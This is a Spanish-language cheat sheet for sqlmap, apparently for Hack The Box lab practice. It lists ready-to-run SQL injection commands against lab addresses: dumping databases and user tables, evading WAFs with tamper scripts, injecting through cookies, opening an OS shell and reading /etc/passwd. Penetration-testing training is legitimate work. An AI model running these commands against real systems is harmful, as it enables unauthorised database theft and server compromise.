sqlmap

sqlmap prueba un parámetro con decenas de técnicas (booleana, por tiempo, UNION, errores) y, si es vulnerable, vuelca la base de datos o te da una shell. Lo más cómodo es pasarle la petición guardada desde Burp con -r.

Plataforma
Linux · Windows · macOS (Python)
Web oficial
sqlmap.org
En HTB
4 máquinas
Instalación
sudo apt install sqlmap

Chuleta de sqlmap

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
11 comandos

Extras

Saltarse un WAF sencillo
sqlmap -r peticion.txt --batch --tamper=space2comment,between --random-agent
Inyección en una cookie
sqlmap -u http://box.htb/ --cookie='id=1*' --level 2 --batch

El asterisco marca dónde inyectar.

En nuestras chuletas

Payloads de inyección SQL › sqlmap

Probar un parámetro GET Atacante
sqlmap -u 'http://10.10.11.20/item.php?id=1' --batch --dbs
Desde una petición guardada en Burp Atacante
sqlmap -r peticion.txt --batch --level 5 --risk 3
Formularios de la página Atacante
sqlmap -u 'http://10.10.11.20/login.php' --forms --batch
Volcar una tabla Atacante
sqlmap -r peticion.txt --batch -D app -T users --dump
Solo booleana y por tiempo Atacante
sqlmap -r peticion.txt --batch --technique=BT
Evadir filtros con tampers Atacante
sqlmap -r peticion.txt --batch --tamper=space2comment,between
Inyección en una cookie o cabecera Atacante
sqlmap -u 'http://10.10.11.20/' --cookie='session=abc*' --batch --level 2

El asterisco marca dónde inyectar.

Shell del sistema Atacante
sqlmap -r peticion.txt --batch --os-shell
Leer un fichero Atacante
sqlmap -r peticion.txt --batch --file-read=/etc/passwd

Máquinas de HTB donde se usa sqlmap

Sacadas de los capítulos de los vídeos de IppSec en los que aparece sqlmap. El enlace ▶ salta al minuto de esa parte.

Guías que usan sqlmap